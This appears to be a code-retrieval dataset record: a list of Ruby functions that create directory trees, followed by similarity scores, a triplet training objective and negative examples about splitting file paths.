"def mkdirs(base)\n if !File.exists?(BASE_DIR)\n Dir.mkdir(BASE_DIR)\n end \n if !File.exists?(base)\n Dir.mkdir(base)\n end\n if !File.exists?(\"#{base}/cache\")\n Dir.mkdir(\"#{base}/cache\")\n end\n if !File.exists?(\"#{base}/data\")\n Dir.mkdir(\"#{base}/data\")\n end\nend",
"def mkdir_p_folders\n [systems_folder, images_systems_folder, data_systems_folder, pages_score_folder].each do |dossier|\n FileUtils.mkdir_p(dossier)\n end\nend",
"def traverse_and_create path\n root = @folder_cache.values.find{|file| file.name == ROOT_FOLDER and file.parents.nil?}\n\n #DriveV3::File (actually folders)\n files = [root]\n places = path.split '/'\n places.each do |place|\n next if place == ''\n folder = folder_with_name place, files.last\n folder = create_folder(place, files.last) if folder.nil?\n files << folder\n end\n files.last\n end",
"def setup subdirs\n FileUtils.mkdir_p @root\n if subdirs and subdirs.length > 0\n subdirs.each do |subdir|\n FileUtils.mkdir_p \"#{@root}#{@ds}#{subdir}\"\n end\n @subdirs = subdirs\n end\n end",
"def create_dirs(klass)\n class << klass\n Array(yield).each do |dir|\n define_method(\"#{dir}_dir\") do\n File.join(lib_dir,dir)\n end\n module_eval(%Q(def #{dir}_require(&block); lib_require('#{dir}', &block); end))\n end\n end\n end",
"def mkdirs()\n if !File.exists?(\"data\")\n Dir.mkdir(\"data\")\n end \n if !File.exists?(CACHE_DIR)\n Dir.mkdir(CACHE_DIR)\n end\n if !File.exists?(RDF_DIR)\n Dir.mkdir(RDF_DIR)\n end\nend",
"def make_dirs\r\n FileUtils.rm_rf @dirs[:tmp]\r\n @dirs.each do |k, dir|\r\n FileUtils.mkdir_p dir\r\n end\r\n end",
"def create_app_folder_structure\n puts \"Create #{name} folder structure\"\n end",
"def create_dirs\n if :dynamic == @build.link_type\n return if '.' == @dir_root\n dir = File.join @build.obj_root, @dir_root\n else # static\n dir = if '.' == @dir_root\n File.join @build.obj_root, 'static'\n else\n File.join @build.obj_root, @dir_root, 'static'\n end\n end\n Util.run_cmd \"mkdir -p #{dir}\"\n end",
"def subdirs_to_create(dir, user)\n Chef::Log.info(\"Dir to create: #{dir}, user: #{user}\")\n existing_subdirs = []\n remaining_subdirs = dir.split('/')\n remaining_subdirs.shift # get rid of '/'\n\n until remaining_subdirs.empty?\n Chef::Log.debug(\"remaining_subdirs: #{remaining_subdirs.inspect}, existing_subdirs: #{existing_subdirs.inspect}\")\n path = existing_subdirs.push('/' + remaining_subdirs.shift).join\n break unless File.exist?(path)\n raise \"Path #{path} exists and is a file, expecting directory.\" unless File.directory?(path)\n raise \"Directory #{path} exists but is not traversable by #{user}.\" unless can_traverse?(user, path)\n end\n\n new_dirs = [existing_subdirs.join]\n new_dirs.push(new_dirs.last + '/' + remaining_subdirs.shift) until remaining_subdirs.empty?\n new_dirs\n end",
"def create_output_directories\n return unless @option_output_path\n subdirectory = \"#{@option_output_path}/nodes\"\n return @option_output_path if File.directory?(@option_output_path) && File.directory?(subdirectory)\n Dir.mkdir(@option_output_path)\n output_path_error_and_exit(@option_output_path) unless File.directory?(@option_output_path)\n Dir.mkdir(subdirectory)\n output_path_error_and_exit(subdirectory) unless File.directory?(subdirectory)\n @option_output_path\n end",
"def create_dirs(klass)\n class << klass\n Array(LIBRARY_DIRS).each do |dir|\n define_method(\"#{dir}_dir\") do\n File.join(lib_dir, dir)\n end\n module_eval(%(def #{dir}_require(&block); lib_require('#{dir}', &block); end), __FILE__, __LINE__)\n end\n end\n end",
"def make_directory_tree\n project_tmp = \"/tmp/#{@package_name}\"\n @scratch = \"#{project_tmp}/#{@title}\"\n @working_tree = {\n 'scripts' => \"#{@scratch}/scripts\",\n 'resources' => \"#{@scratch}/resources\",\n 'working' => \"#{@scratch}/root\",\n 'payload' => \"#{@scratch}/payload\",\n }\n puts \"Cleaning Tree: #{project_tmp}\"\n FileUtils.rm_rf(project_tmp)\n @working_tree.each do |key,val|\n puts \"Creating: #{val}\"\n FileUtils.mkdir_p(val)\n end\n File.open(\"#{@scratch}/#{'prototype.plist'}\", \"w+\") do |f|\n f.write(ERB.new(File.read('tasks/templates/prototype.plist.erb')).result())\n end\n File.open(\"#{@working_tree[\"scripts\"]}/preflight\", \"w+\") do |f|\n f.write(ERB.new(File.read('ext/osx/preflight.erb')).result())\n end\nend",
"def createFolders(path)\n #timeutc = @update_timestamp.utc\n update_ts=@update_timestamp.to_s()\n update_ts=update_ts.split(\" +\").first\n update_ts = update_ts.gsub(\":\",\"-\")\n update_ts = update_ts.gsub(\" \",\"_\")\n\n # Create root diff folder\n difFolder=path+\"diff_folder/\"\n if !(File.directory?(difFolder))\n Dir.mkdir(difFolder)\n end\n\n # Create book diff folder\n @book_diff_folder=difFolder+update_ts+\"/\"\n if File.directory?(@book_diff_folder)\n FileUtils.rm_rf(@book_diff_folder)\n #File.rename(@book_diff_folder, @book_diff_folder+\"-OLD_\"+current_ts)\n end\n Dir.mkdir(@book_diff_folder)\n \n # Create update root folder\n @updateFolder=path+@book_full_name+\"_update/\"\n if !(File.directory?(@updateFolder))\n Dir.mkdir(@updateFolder)\n end\n \n # Create update book folder\n @book_update_folder=@updateFolder+update_ts+\"/\"\n if File.directory?(@book_update_folder)\n #File.rename(@book_update_folder, @book_update_folder+\"-OLD_\"+current_ts)\n File.rename(@book_update_folder, @updateFolder+update_ts+\"-OLD\") \n FileUtils.rm_rf(@updateFolder+update_ts+\"-OLD\")\n end \n Dir.mkdir(@book_update_folder)\nend",
"def namespaces\n Dir[\"#{NAMESPACE_DIR}/*\"]\n .find_all { |dir| FileTest.directory?(dir) }\n .map { |dir| File.basename(dir) }\nend",
"def subdirs_to_create(dir, user)\n Chef::Log.debug(\"Dir to create: #{dir}, user: #{user}\")\n existing_subdirs = []\n remaining_subdirs = dir.split('/')\n remaining_subdirs.shift # get rid of '/'\n reason = ''\n \n until remaining_subdirs.empty?\n Chef::Log.debug(\"remaining_subdirs: #{remaining_subdirs.inspect}, existing_subdirs: #{existing_subdirs.inspect}\")\n path = existing_subdirs.push('/' + remaining_subdirs.shift).join\n break unless File.exist?(path)\n reason = \"Path \\'#{path}\\' exists and is a file, expecting directory.\" unless File.directory?(path)\n reason = \"Directory \\'#{path}\\' exists but is not traversable by user \\'#{user}\\'.\" unless can_traverse?(user, path)\n end\n\n new_dirs = [existing_subdirs.join]\n new_dirs.push(new_dirs.last + '/' + remaining_subdirs.shift) until remaining_subdirs.empty?\n [new_dirs, reason]\n end",
"def register_directories(*dirs); end",
"def root_dir\n existing_paths = root_paths.select { |path| File.exist?(path) }\n if existing_paths.size > 0\n MultiplexedDir.new(existing_paths.map do |path|\n dir = FileSystemEntry.new(name, parent, path)\n dir.write_pretty_json = !!write_pretty_json\n dir\n end)\n end\n end",
"def create_moab_dirs()\n target_path = manifest_path(self.object.id, self.version)\n if File.directory?(target_path)\n err_string = \"The Moab directory #{target_path} for \"\\\n \"#{self.object.id} version #{self.version} already exists\"\n Rails.logger.error(err_string)\n raise DRI::Exceptions::InternalError, err_string\n end\n\n make_dir(\n [\n version_path(self.object.id, self.version),\n metadata_path(self.object.id, self.version),\n content_path(self.object.id, self.version)\n ]\n )\n end",
"def init_folders(dir)\n\n FOLDER_DEFAULTS.each do |key|\n @folder=dir+\"/\"+key[:dir]\n @folder.gsub!('\\\\','/')\n if not File.directory? @folder\n File.makedirs @folder\n end\n end\n\n end",
"def create_dirs(path)\n FileUtils.makedirs path.split('/').reverse[1..-1].reverse.join('/')\n end",
"def scan_dirs(indir)\n @acs_dirs = {}\n Dir.chdir(indir)\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n all_dirs.each do |subdir|\n @acs_dirs[subdir] = HRRTACSDir.new(File.join(indir, subdir))\n @acs_dirs[subdir].create_hrrt_files\n end\n end",
"def build_directories_records\n directories_records.each { |r| r.build }\n end",
"def create_artifact_subdirs(klass)\n class << klass\n Array(ARTIFACT_SUBDIRS).each do |dir|\n define_method(\"#{dir.gsub(/[^A-Za-z0-9]/, '')}_dir\") do\n File.join(artifact_dir, dir)\n end\n end\n end\n end",
"def make_dir(output_path)\r\n constructed_dir = \"\"\r\n i = 0\r\n\r\n folders = output_path.split(\"/\")\r\n folders.each {|subdir|\r\n if (i == 0)\r\n constructed_dir = subdir\r\n else\r\n constructed_dir = constructed_dir + \"/\" + subdir\r\n end\r\n i += 1\r\n if not (Dir.exist? constructed_dir)\r\n puts(\"Constructed dir: \" + constructed_dir)\r\n Dir.mkdir constructed_dir\r\n end\r\n }\r\nend",
"def create_solr_directories\n [solr_data_dir, pid_dir].each do |path|\n FileUtils.mkdir_p( path )\n end\n end",
"def create_paths\n @storage_folders_path = File.join(@storage_path, \"folders\") # Not need date because we use rsync\n FileUtils.mkdir_p @storage_folders_path\n\n today = Time.now\n @storage_databases_path = File.join(@storage_path, \"databases\", today.year.to_s, today.month.to_s, today.day.to_s)\n FileUtils.mkdir_p @storage_databases_path\n end",
"def reset_dirs\n Dir.mkdir(JSON_ROOT_DIRECTORY) unless Dir.exist?(JSON_ROOT_DIRECTORY)\n\n Dir.mkdir(JSON_ROOT_DIRECTORY + '/cfr') unless Dir.exist?(JSON_ROOT_DIRECTORY + '/cfr')\n Dir.mkdir(JSON_ROOT_DIRECTORY + '/uscode') unless Dir.exist?(JSON_ROOT_DIRECTORY + '/uscode')\n Dir.mkdir(JSON_ROOT_DIRECTORY + '/supremecourt') unless Dir.exist?(JSON_ROOT_DIRECTORY + '/supremecourt')\n\n Find.find(JSON_ROOT_DIRECTORY) do |path|\n FileUtils.rm_f(path) if path =~ /scholarship\\.json/\n end\n\n end",
"def create_moab_dirs\n target_path = manifest_path(object.alternate_id, version)\n if File.directory?(target_path)\n err_string = \"The Moab directory #{target_path} for \"\\\n \"#{object.alternate_id} version #{version} already exists\"\n Rails.logger.error(err_string)\n raise DRI::Exceptions::InternalError, err_string\n end\n\n make_dir(\n [\n version_path(object.alternate_id, version),\n metadata_path(object.alternate_id, version),\n content_path(object.alternate_id, version)\n ]\n )\n end",
"def create_build_directories\n root_dir = generate_build_location(\"\")\n Dir.mkdir root_dir unless Dir.exists?(root_dir)\n img_dir = generate_image_location(\"\",\"\").split(\"/\")[0...-1].join(\"/\")\n Dir.mkdir img_dir unless Dir.exists?(img_dir)\n end",
"def create_dirs(path)\n FileUtils.makedirs path.split('/').reverse[1..-1].reverse.join('/')\n end",
"def mkdir path\n parent = lookup_single! File.dirname(path), RbVmomi::VIM::Folder\n parent.CreateFolder(:name => File.basename(path))\nend",
"def directories; end",
"def directories; end",
"def make_dir(output_path)\n constructed_dir = \"\"\n i = 0\n\n folders = output_path.split(\"/\")\n folders.each {|subdir|\n if (i == 0)\n constructed_dir = subdir\n else\n constructed_dir = constructed_dir + \"/\" + subdir\n end\n i += 1\n if not (Dir.exist? constructed_dir)\n puts(\"Constructed dir: \" + constructed_dir)\n Dir.mkdir constructed_dir\n end\n }\nend",
"def setup()\n create_directories\n end",
"def mkdirs(folders, enter=false)\n oldCWD = FileUtils.pwd\n path = folders.join(\"/\")\n folders.delete_at(folders.size - 1)\n folders.each do |f|\n mkfolder(f, true)\n end\n FileUtils.chdir(oldCWD) unless enter\nend",
"def create_dirs\n FileUtils.mkdir_p(@work_dir) unless File.exist?(@work_dir)\n end",
"def make_directories!\n @sprites_path.mkpath unless @sprites_path.directory?\n @sources_path.mkpath unless @sources_path.directory?\n end",
"def find_namespaces_for(model_name, options = {})\n # namespaces are visible in controller directory\n options[:base_path] ||= \"#{RAILS_ROOT}/app/controllers/\"\n dir = options[:dir].to_s\n path = options[:base_path] + dir\n \n controller_files = Dir.glob(\"#{path}*.rb\")\n\n if !controller_files.select {|f| f =~ /#{model_name.pluralize}_controller/}.empty?\n\n return dir.split(\"/\") # directory structure\n else\n\n\n Find.find(*Dir.glob(path + \"*\")) do |file|\n if path == file\n Find.prune # Don't look any further into this directory.\n \n elsif FileTest.directory?(file)\n namespaces = find_namespaces_for(model_name, \n options.merge(:dir => dir + File.basename(file) + \"/\") ) \n\n return namespaces if namespaces #we found something\n end\n\n next #directory\n end\n end\n \n # Controller not found so assume we should add no namespace\n return nil\n end",
"def create_dirs\n run_dir = query_property('run_dir')\n raise 'Run directory not found' unless Dir.exist?(run_dir)\n\n create_dir(\"#{run_dir}/messaging/in_pending\", 'in_pending')\n create_dir(\"#{run_dir}/messaging/in_processed\", 'in_processed')\n create_dir(\"#{run_dir}/messaging/out_pending\", 'out_pending')\n create_dir(\"#{run_dir}/messaging/out_processed\", 'out_processed')\n FileUtils.chmod_R('u=wrx,go=r', run_dir)\n end",
"def prepare_container_component_dirs; end",
"def prepare_dirs\n [@reports_dir, @cache_dir, @gems_dir].each do |dir|\n Dir.mkdir(dir) unless File.directory?(dir)\n end\n end",
"def create_directory(subdirectory, sightings_count)\n\n swap_dir = \"./public/swap\" # use when running via app.rb\n # swap_dir = \"../public/swap\" # use when running locally from /lib/b2_bucket.rb\n sightings_dir = \"#{swap_dir}/#{subdirectory}/#{sightings_count}\"\n\n unless File.directory?(sightings_dir)\n FileUtils.mkdir_p(sightings_dir)\n end\n\n return sightings_dir\n\nend",
"def mkdir(name)\n return self if name == '.'\n name = name[1..-1] if name[0] == '/'\n newdir, *remainder = name.split('/')\n subdir = get(newdir)\n unless subdir.dir?\n result = @od.request(\"#{api_path}/children\",\n name: newdir,\n folder: {},\n '@microsoft.graph.conflictBehavior': 'rename'\n )\n subdir = OneDriveDir.new(@od, result)\n end\n remainder.any? ? subdir.mkdir(remainder.join('/')) : subdir\n end",
"def register_namespaces(namespaces); end",
"def register_namespaces(namespaces); end",
"def createdirectories()\n\n\tputs \"\\n\" + '[ ' + yellow( 'RUNNING' ) + \" ] Setup\"\n\n\texecute \"mkdir -p #{fetch(:deploy_to)}releases\"\n\texecute \"mkdir -p #{shared_path}\"\n\n\tputs '[ ' + green( 'SUCCESS' ) + ' ]'\n\nend",
"def build_directory_tree\n\n # Add the user's config directories to the \"ignore_dir\" option because these are all things we won't need printed in a NavTree.\n options.ignore_dir << app.config[:js_dir]\n options.ignore_dir << app.config[:css_dir]\n options.ignore_dir << app.config[:fonts_dir]\n options.ignore_dir << app.config[:images_dir]\n options.ignore_dir << app.config[:helpers_dir]\n options.ignore_dir << app.config[:layouts_dir]\n options.ignore_dir << app.config[:partials_dir]\n\n # Build a hash out of our directory information\n tree_hash = scan_directory(app.config[:source], options)\n\n # Write our directory tree to file as YAML.\n FileUtils.mkdir_p(app.config[:data_dir])\n data_path = app.config[:data_dir] + '/' + options.data_file\n IO.write(data_path, YAML::dump(tree_hash))\n end",
"def createFolders(path)\n update_ts=@update_timestamp.to_s()\n update_ts = update_ts.gsub(\":\",\"-\");\n update_ts = update_ts.gsub(\" \",\"_\");\n current_ts = Time.now.to_s()\n current_ts = current_ts.gsub(\":\",\"-\");\n current_ts = current_ts.gsub(\" \",\"_\");\n\n # Create root diff folder\n difFolder=path+\"diff_folder/\"\n if File.exists?(difFolder)\n if !(File.directory?(difFolder))\n Dir.mkdir(difFolder)\n end\n else\n Dir.mkdir(difFolder)\n end\n # Create book diff folder\n @book_diff_folder=difFolder+update_ts\n if File.exists?(@book_diff_folder) && File.directory?(@book_diff_folder)\n File.rename(@book_diff_folder, @book_diff_folder+\"-OLD_\"+current_ts)\n end\n Dir.mkdir(@book_diff_folder)\n \n # Create update root folder\n updateFolder=path+\"book_update/\"\n if File.exists?(updateFolder)\n if !(File.directory?(updateFolder))\n Dir.mkdir(updateFolder)\n end\n else\n Dir.mkdir(updateFolder)\n end\n \n # Create update book folder\n @book_update_folder=updateFolder+@book_full_name+\"_\"+update_ts\n if File.exists?(@book_update_folder) && File.directory?(@book_update_folder)\n File.rename(@book_update_folder, @book_update_folder+\"-OLD_\"+current_ts) \n end \n Dir.mkdir(@book_update_folder)\n\n #Create final book update folder\n @book_prod_final_update_folder=@book_zip_generated_folder+\"update_\"+update_ts+\"/\"\n if (File.exists?(@book_prod_final_update_folder) && File.directory?(@book_prod_final_update_folder))\n puts \"Book Update Prod folder exists\"\n else\n Dir.mkdir(@book_prod_final_update_folder)\n end\n @book_diff_folder=@book_diff_folder+\"/\"\n @book_update_folder=@book_update_folder+\"/\"\nend",
"def create_directory(subdirectory, sightings_count)\n\n swap_dir = \"./public/swap\" # use when running via app.rb\n # swap_dir = \"../public/swap\" # use when running locally from /lib/s3_bucket.rb\n sightings_dir = \"#{swap_dir}/#{subdirectory}/#{sightings_count}\"\n\n unless File.directory?(sightings_dir)\n FileUtils.mkdir_p(sightings_dir)\n end\n\n return sightings_dir\n\nend",
"def horizontal_dirs\n # have to add extra logic?\n \n HORIZONTAL_DIRS\n\n end",
"def create_dirs_if_missing (*paths)\n\tpaths.each do |path|\n\t\tcurrpath = File.join('.', '')\n\t\tpath.split(File::SEPARATOR).each do |dir|\n\t\t\tcurrpath = File.join(currpath, dir)\n\t\t\tDir.mkdir(currpath) unless File.directory?(currpath)\n\t\tend\n\tend\nend",
"def create_namespace project:, location:, namespace:\n # [START servicedirectory_create_namespace]\n # project = \"Your Google Cloud project ID\"\n # location = \"The Google Cloud region containing the new namespace\"\n # namespace = \"The name of the namespace you are creating\"\n\n require \"google/cloud/service_directory\"\n\n # Initialize the client\n registration_service = Google::Cloud::ServiceDirectory.registration_service\n\n # The parent path of the namespace\n parent = registration_service.location_path(\n project: project, location: location\n )\n\n # Use the Service Directory API to create the namespace\n response = registration_service.create_namespace(\n parent: parent, namespace_id: namespace\n )\n puts \"Created namespace: #{response.name}\"\n # [END servicedirectory_create_namespace]\nend",
"def create_directories(*args)\n args.each do |argument|\n FileUtils.mkdir_p(argument) unless File.directory?(argument)\n end\n end",
"def folders namespace=:main\n list = PLUGIN.values\n list.select { |it| it.namespace.include?(namespace) }\n list.map { |it| it.folder }\n end",
"def create_directory(uri)\n create_collection(uri, MkCol.new(['{DAV:}collection'], []))\n end",
"def prepare_folders\n shared_folders.each do |_id, options|\n hostpath = Pathname.new(options[:hostpath]).expand_path(@env[:root_path])\n\n next unless !hostpath.directory? && options[:create]\n # Host path doesn't exist, so let's create it.\n @logger.debug(\"Host path doesn't exist, creating: #{hostpath}\")\n\n begin\n hostpath.mkpath\n rescue Errno::EACCES\n raise Vagrant::Errors::SharedFolderCreateFailed,\n path: hostpath.to_s\n end\n end\n end",
"def create_dirs_in_zipfile(created_dirs, entry_path, output_stream); end",
"def namespaces_to_paths(namespaces)\n paths = []\n namespaces.each do |namespace|\n pieces = namespace.split(\":\")\n path = pieces.join(\"/\")\n paths << \"#{path}/#{pieces.last}\"\n paths << path\n end\n paths.uniq!\n paths\n end",
"def add_directories(listing)\n listing.common_prefixes.each do |prefix|\n new_entry = entry_for(from_base(prefix.prefix), 0, Time.current, true)\n @entries << new_entry unless new_entry.nil?\n end\n end",
"def crea_dir_per_xml\r\n path_xml = (Pathname.new(__dir__).parent)+\"esiti_xml\"+@giorno\r\n path_xml.mkdir(0700) unless path_xml.exist?\r\n return path_xml\r\n end",
"def directories\n [root_path, deploys_path, shared_path,\n log_path, checkout_path, scripts_path]\n end",
"def create\n basedir = @config.get(\"GEAR_BASE_DIR\")\n\n token = \"#{@container_uuid}_#{@namespace}_#{@container_name}\"\n path = File.join(basedir, \".httpd.d\", token)\n\n FileUtils.rm_rf(path) if File.exist?(path)\n FileUtils.mkdir_p(path) \n end",
"def create\n basedir = @config.get(\"GEAR_BASE_DIR\")\n\n token = \"#{@container_uuid}_#{@namespace}_#{@container_name}\"\n path = File.join(basedir, \".httpd.d\", token)\n\n FileUtils.rm_rf(path) if File.exist?(path)\n FileUtils.mkdir_p(path) \n end",
"def build_workspace_dir(root_dir, dirname, uuid)\n \"/#{root_dir}/#{dirname}-#{uuid}\"\nend",
"def array_to_nested_dirs(array, root_dir)\n addr = [root_dir]\n array.each {|x|\n addr << x\n create_dir(addr.join(\"/\"))\n }\n return true\n end",
"def check_and_create_directory\n Dir.mkdir(\"#{@output_dir}\") unless File.directory?(\"#{@output_dir}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile_name.downcase}\") unless File.directory?(\"#{@output_dir}/#{@profile_name.downcase}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile_name.downcase}/modules\") unless File.directory?(\"#{@output_dir}/#{@profile_name.downcase}/modules\")\n end",
"def ensure_dir( *dirs )\n path = \"\"\n for current in dirs\n path = File.join path, current\n Dir::mkdir path if not File.directory? path\n end\nrescue Exception => e\n $logger.error \"Couldn't make directory. #{e}\"\nend",
"def prepare_pod_groups\n file_accessors.each do |file_accessor|\n pod_name = file_accessor.spec.name\n next unless sandbox.local?(pod_name)\n root_name = Specification.root_name(pod_name)\n path = file_accessor.root\n group = pods_project.group_for_spec(root_name)\n group.set_path(path) unless group.path == path\n end\n end",
"def dirs; end",
"def dirs; end",
"def new_path_for(namespace)\n counter = 1\n base = namespace.full_path.tr('/', '-')\n new_path = base\n\n while Namespace.unscoped.where(path: new_path).exists?\n new_path = base + \"-#{counter}\"\n counter += 1\n end\n\n new_path\n end",
"def create_local_directories!\n FileUtils.mkdir_p(remote_path)\n end",
"def create_local_directories!\n FileUtils.mkdir_p(remote_path)\n end",
"def l_mkdirs(root, dir_hash)\n dir_hash.each_key do |s_dir|\n Dir.mkdir(root + s_dir) if !(root + s_dir).exist?\n l_mkdirs(root + s_dir, dir_hash[s_dir]) if dir_hash[s_dir]\n end\n end",
"def l_mkdirs(root, dir_hash)\n dir_hash.each_key do |s_dir|\n Dir.mkdir(root + s_dir) if !(root + s_dir).exist?\n l_mkdirs(root + s_dir, dir_hash[s_dir]) if dir_hash[s_dir]\n end\n end",
"def create_structure\n if File.exists?(\"features\") && File.directory?(\"features\")\n return\n else\n FileUtils.mkpath \"features/step_definitions\"\n FileUtils.mkdir \"features/support\"\n FileUtils.mkdir \"features/screenshots\"\n FileUtils.touch\"features/support/env.rb\"\n end\n \n\n end",
"def dir_path(locale, category, section = nil, article = nil)\n # each resource has an id and name attribute\n # let's use this to build a path where we can store the actual data\n log(\" buidling dir_path for #{[locale, category, section, article].compact.map{|r| r['name']}}\", :verbose)\n [locale, category, section, article].compact.inject(\"./\") do |dir_path, resource|\n # check if we have existing folder that needs to be renamed\n path_to_append = output_type == :slugified ? \"#{resource['id']}-#{slugify(resource['name'])}\" : \"#{resource['id']}\"\n rename_dir_or_file_starting_with_id!(dir_path, resource['id'], path_to_append)\n # build path and check if folder exists\n log(\" #{path_to_append} appended to #{dir_path}\", :verbose)\n dir_path += path_to_append + \"/\"\n Dir.mkdir(dir_path) unless File.exists?(dir_path)\n # end point is begin point of next iteration\n dir_path\n end\n end",
"def define_namespaces #:nodoc:\n unless self.respond_to?(:namespaces)\n send(:define_singleton_method, :namespaces) { @namespaces }\n send(:define_method, :namespaces) { self.class.namespaces }\n end\n end"
] |
[
"0.674889",
"0.66468835",
"0.66454357",
"0.6614416",
"0.6592764",
"0.6554183",
"0.6554183",
"0.644086",
"0.6339784",
"0.6298167",
"0.6298167",
"0.62349814",
"0.6231644",
"0.6224152",
"0.6197502",
"0.6171351",
"0.61546355",
"0.61015356",
"0.60867023",
"0.60748184",
"0.60160327",
"0.5998312",
"0.59685427",
"0.5953883",
"0.5951995",
"0.591668",
"0.59164625",
"0.586962",
"0.58513486",
"0.5813767",
"0.58077496",
"0.579948",
"0.57960224",
"0.5745242",
"0.5740719",
"0.5733688",
"0.57186633",
"0.5716558",
"0.5714603",
"0.5692929",
"0.5679199",
"0.56661355",
"0.56640226",
"0.5654514",
"0.56510824",
"0.5609891",
"0.5578583",
"0.55766195",
"0.55684286",
"0.5566919",
"0.55645525",
"0.55613977",
"0.55592686",
"0.55592686",
"0.55573314",
"0.5545201",
"0.55397284",
"0.5521288",
"0.5519892",
"0.5512687",
"0.5505397",
"0.5500736",
"0.549889",
"0.548424",
"0.5472457",
"0.54639775",
"0.54639775",
"0.5453465",
"0.5449249",
"0.54463756",
"0.54401845",
"0.54397",
"0.5437989",
"0.54282665",
"0.5426831",
"0.5407087",
"0.54059154",
"0.5387276",
"0.5382103",
"0.53713167",
"0.5334505",
"0.5333575",
"0.5333457",
"0.53280395",
"0.53280395",
"0.53208065",
"0.5318872",
"0.52938604",
"0.5283476",
"0.52777714",
"0.52698714",
"0.52698714",
"0.52648354",
"0.52621216",
"0.52621216",
"0.5256032",
"0.5256032",
"0.5247746",
"0.5244537",
"0.5238477"
] |
0.64609057
|
7
|
Extract parts from each path
|
def __endpoint_parts
parts = @spec['url']['paths'].select do |a|
a.keys.include?('parts')
end.map do |path|
path&.[]('parts')
end
(parts.inject(&:merge) || [])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end",
"def path_to_parts(path)\n path.\n downcase.\n split('/').\n map { |part| part.empty? ? nil : part.strip }.\n compact\n end",
"def path_comps path\n path.nil? || path.empty? ? [] : path[1..(path[-1] == \"/\" ? -2 : -1)].split('/')\n end",
"def split_path; end",
"def extract\n entries.map(&:pathname)\n end",
"def parse_path(path_chunks)\n path = path_chunks[1]\n subpath_chunks = path.split(\"/\")\n base_dir = subpath_chunks[1]\n remaining_path = subpath_chunks[2..-1].join(\"/\")\n [base_dir, remaining_path]\n end",
"def path_parts(input) # :nodoc:\n case input\n when /((?:@{1,2}|\\$|)\\w+(?:\\[[^\\]]+\\])*)([\\[\\/])(['\"])([^\\3]*)$/\n $~.to_a.slice(1, 4).push($~.pre_match)\n when /((?:@{1,2}|\\$|)\\w+(?:\\[[^\\]]+\\])*)(\\.)(\\w*)$/\n $~.to_a.slice(1, 3).push($~.pre_match)\n when /((?:@{1,2}|\\$|)\\w+)$/\n $~.to_a.slice(1, 1).push(nil).push($~.pre_match)\n else\n [ nil, nil, nil ]\n end\n end",
"def split() File.split(path).map {|f| Path::Name.new(f) } end",
"def split_path(path)\n m = CHEF_OBJECT_RE.match(path)\n unless m\n warn \"Skipping '#{path}' -- it doesn't look like '*cookbooks/**/*', '*roles/*.{rb,json}', '*environments/*.{rb,json}' or '*data_bags/*.{rb,json}'\"\n return\n else\n parent_seg, child_seg = m.captures\n child_seg.gsub!(/\\.(rb|json)$/, \"\")\n extension = $1\n [parent_seg, child_seg, extension]\n end\n end",
"def split_nsh_path(path)\n result = [\"\",path]\n result[0] = path.split(\"/\")[2] if path.start_with?(\"//\")\n result[1] = \"/#{path.split(\"/\")[3..-1].join(\"/\")}\" if path.start_with?(\"//\") \n result\n end",
"def get_path_pins(path); end",
"def get_path_pins(path); end",
"def split_path(path)\n path.strip.split(/[,;:\\ \\n\\t]/).map{|s| s.strip}\n end",
"def segments_from_path(path)\n # Remove leading ^ and trailing $ from each segment (left-overs from regexp joining)\n strip = proc { |str| str.gsub(/^\\^/, '').gsub(/\\$$/, '') }\n segments = []\n while match = (path.match(SEGMENT_REGEXP))\n segments << strip[match.pre_match] unless match.pre_match.empty?\n segments << match[2].intern\n path = strip[match.post_match]\n end\n segments << strip[path] unless path.empty?\n segments\n end",
"def split_path(path)\n path.split(\"/\", -1)\n end",
"def split_path(path)\n parts = path.split('/')\n [parts[0..-2].join('/'), parts[-1]]\n end",
"def path_with_keys()\n path = []\n\n for part in @path\n if part.is_a? String\n path << part\n elsif part.is_a? Symbol\n path << (yield part)\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n '/' + path.join('/')\n end",
"def split_paths(path)\n dir_list = path.split('/').drop(1) # drops the \"\" because of the first \"/\"\n path_list = ['/'+dir_list.first]\n dir_list.drop(1).each do |dir|\n path = path_list.last + '/' + dir\n path_list.push path\n end\n path_list\nend",
"def split_all(path)\n head, tail = File.split(path)\n return [tail] if head == '.' || tail == '/'\n return [head, tail] if head == '/'\n return split_all(head) + [tail]\n end",
"def split_all(path)\n head, tail = File.split(path)\n return [tail] if head == '.' || tail == '/'\n return [head, tail] if head == '/'\n return split_all(head) + [tail]\n end",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def getPathElements(path)\n #N Without this path as a single string won't be decomposed into a list of elements\n return path.is_a?(String) ? (path == \"\" ? [] : path.split(\"/\")) : path\n end",
"def split_path_to_values(path)\n parts = path.split(\"/\")\n\n description = parts[1]\n more_parts = parts[2].split(\".\")\n\n response_type = more_parts[0]\n body_type = more_parts[1]\n\n return description, response_type, body_type\n end",
"def convert_to_path_params_segments(some_path)\n segs = strip_bookend_slashes(some_path).split('/')\n \n return segs.map{ |seg|\n if ms = seg.match(/(?<=:)\\w+/)\n ms[0].to_sym\n else\n seg\n end\n }\n end",
"def split(path)\n array = path.kind_of?(String) ? path.split(\"/\") : path.dup\n array.shift if nil_or_empty_string?(array[0])\n array.pop if nil_or_empty_string?(array[-1])\n array\n end",
"def iterate_over_file_paths\n parsed_file.each do |hit|\n file_path_array << hit[0]\n end\n file_path_array\n end",
"def _SplitAndJoinParts(path, pop) \n pathParts = path.split(\"/\")[0..-(pop+1)]\n \n result = JoinPaths(pathParts)\n \n # we face an absolute linux part\n if(path.start_with?(\"/\"))\n result = \"/\" + result\n end\n \n return result\n end",
"def pathlist\n @path\n end",
"def process_params(path)\n # find symbols: \"users/show/:id/:name\" will give us [\"users/show\", \"id\", \"name\"]\n params = path.split(/\\/:/)\n # first element is path \"users/show\"\n params.shift\n # return params\n params\n end",
"def entries(path)\n result = []\n path.entries.each do |entry|\n next if ignore_basename?(entry)\n\n file = path.join(entry)\n next if ignore_pathname?(file)\n\n result.push(file)\n end\n return result\n end",
